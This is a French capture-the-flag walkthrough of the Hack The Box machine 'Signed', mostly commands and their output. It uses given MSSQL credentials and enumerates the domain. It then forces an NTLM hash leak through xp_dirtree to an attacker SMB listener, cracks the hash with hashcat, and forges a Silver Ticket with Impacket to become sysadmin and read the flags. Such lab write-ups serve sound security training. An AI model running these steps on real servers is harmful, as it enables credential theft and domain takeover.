Signed
Comme souvent en pentest Windows réel, on démarre avec des identifiants pour le compte scott / Sm230#C5NatH, utilisables sur le service MSSQL.
1. Reconnaissance
Un scan Nmap montre un seul port ouvert : 1433 (Microsoft SQL Server 2022). Le certificat SSL est auto-signé. On récupère aussi des infos NTLM (domaine SIGNED.HTB, DC01).
Commande
nmap -Pn -sC -sV 10.10.11.90 -T5Résultat
Nmap scan report for signed.htb (10.10.11.90)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.10.11.90:1433:
| Version: Microsoft SQL Server 2022 RTM (16.00.1000.00)
| ms-sql-ntlm-info:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB2. Accès MSSQL (compte scott)
On valide les identifiants avec NetExec (nxc) en auth locale, puis on énumère les RID du domaine pour lister les utilisateurs et groupes.
Commande
nxc mssql 10.10.11.90 -u scott -p 'Sm230#C5NatH' --local-authRésultat
MSSQL 10.10.11.90 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.10.11.90 1433 DC01 [+] DC01\scott:Sm230#C5NatHCommande (énumération RID)
nxc mssql 10.10.11.90 -u scott -p 'Sm230#C5NatH' --local-auth --rid-bruteRésultat
MSSQL 10.10.11.90 1433 DC01 [+] DC01\scott:Sm230#C5NatH
512: SIGNED\Domain Admins 513: SIGNED\Domain Users
515: SIGNED\Domain Computers 516: SIGNED\Domain Controllers
1103: SIGNED\mssqlsvc 1104: SIGNED\HR
1105: SIGNED\IT 1106: SIGNED\Finance
1107: SIGNED\Developers 1108: SIGNED\Support
1109: SIGNED\oliver.mills 1110: SIGNED\emma.clark
... (autres utilisateurs)Commande (serveurs liés)
nxc mssql 10.10.11.90 -u scott -p 'Sm230#C5NatH' --local-auth -q "EXEC sp_linkedservers"Résultat
SRV_NAME: DC01
SRV_PROVIDERNAME: SQLNCLI
SRV_PRODUCT: SQL Server
SRV_DATASOURCE: DC01Serveur lié DC01. Connexion en interactif avec Impacket :
Connexion MSSQL (Impacket mssqlclient.py)
mssqlclient.py 'signed.htb/scott:Sm230#C5NatH@10.10.11.90'3. Capture NTLM (xp_dirtree)
Depuis la session MSSQL, on force le serveur à se connecter à notre partage SMB via xp_dirtree (ou xp_fileexist). Le service MSSQL s’exécute sous le compte SIGNED\mssqlsvc : on récupère donc son hash Net-NTLMv2. Sur notre machine, on lance un listener (ex. responder ou ntlmrelayx) sur un partage (ex. 10.10.17.228).
Depuis mssqlclient (remplacer par ton IP)
xp_dirtree \\10.10.17.228\shareRésultat (Responder / listener SMB)
[SMB] NTLMv2-SSP Client : 10.10.11.90
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:87c79215452c07cf:A72260EA605DF5FD0F37EB8D03C62E4D:0101000000000000...Sauvegarder le hash dans hash.txt pour hashcat -m 5600.
4. Crack du hash (hashcat)
Mode 5600 = Net-NTLMv2. Une fois cracké, on se connecte en domaine avec SIGNED\mssqlsvc.
Commande
hashcat -m 5600 hash.txt ~/Downloads/rockyou.txtRésultat
Status...........: Cracked
Hash.Target......: mssqlsvc::SIGNED:87c79215452c07cf:...
Recovered........: 1/1 (100.00%)
Guess.Base.......: File (rockyou.txt)
purPLE9795!@Vérification des identifiants mssqlsvc
nxc mssql 10.10.11.90 -u mssqlsvc -p 'purPLE9795!@'Résultat
MSSQL 10.10.11.90 1433 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@Connexion MSSQL avec mssqlsvc (Windows auth)
mssqlclient.py mssqlsvc:'purPLE9795!@'@10.10.11.90 -windows-auth5. Élévation de privilèges – Silver Ticket
Avec mssqlsvc on n’est pas sysadmin ; le groupe SIGNED\IT l’est. On forge un Silver Ticket pour le SPN MSSQLSvc/DC01.SIGNED.HTB en s’octroyant les droits IT, avec le NTLM hash du compte mssqlsvc.
Commande
SELECT name FROM master.sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1;Résultat
name
-------------------------
sa
SIGNED\IT
NT SERVICE\SQLWriter
NT SERVICE\Winmgmt
NT SERVICE\MSSQLSERVER
NT SERVICE\SQLSERVERAGENTCommande
SELECT IS_SRVROLEMEMBER('sysadmin');Résultat
----
0On récupère le NTLM hash (MD4 du mot de passe en UTF-16LE), le SID domaine via SUSER_SID, et les RID (IT = 1105, mssqlsvc = 1103).
Commande
echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4 -provider legacyRésultat
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0ccCommande (dans MSSQL)
SELECT SUSER_SID('SIGNED\IT');Résultat
------------------------------------------------------------
0x0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000SID domaine : S-1-5-21-4088429403-1159899800-2753317549. On forge le ticket avec ticketer.py (Impacket).
Variables (à adapter selon ta cible)
DOMSID=S-1-5-21-4088429403-1159899800-2753317549
IT_RID=1105
MSSQLSVC_RID=1103
nthash=ef699384c3285c54128a3ee1ddb1a0ccCommande
ticketer.py -nthash $nthash -domain-sid $DOMSID -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,$IT_RID -user-id $MSSQLSVC_RID mssqlsvcRésultat
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/mssqlsvc
[*] Signing/Encrypting final ticket
[*] Saving ticket in mssqlsvc.ccacheCommande
export KRB5CCNAME="$(pwd)/mssqlsvc.ccache"
mssqlclient.py -k 'signed.htb/mssqlsvc@dc01.signed.htb' -windows-auth -no-passRésultat
[*] Encryption required, switching to TLS
[*] INFO(DC01): Changed database context to 'master'.
SQL (SIGNED\mssqlsvc dbo@master)>Commande
select is_srvrolemember('sysadmin');Résultat
----
1On est sysadmin : lecture des flags via OPENROWSET(BULK ...).
6. Flags user.txt et root.txt
Commande
SELECT * FROM OPENROWSET(BULK N'C:\\Users\\mssqlsvc\\Desktop\\user.txt', SINGLE_CLOB) AS t;Résultat
••••••••••••••••••••••••••••••••Cliquer pour afficherCommande
SELECT * FROM OPENROWSET(BULK N'C:\\Users\\administrator\\Desktop\\root.txt', SINGLE_CLOB) AS t;Résultat
••••••••••••••••••••••••••••••••Cliquer pour afficherRécap
- Recon : MSSQL 1433, domaine SIGNED.HTB
- Accès initial : scott / Sm230#C5NatH sur MSSQL
- Capture NTLM : xp_dirtree vers notre SMB → hash mssqlsvc
- Crack : hashcat -m 5600 → purPLE9795!@
- Privesc : Silver Ticket (nthash mssqlsvc + SPN MSSQLSvc, groupe IT) → sysadmin MSSQL
- Flags : OPENROWSET(BULK) pour user.txt et root.txt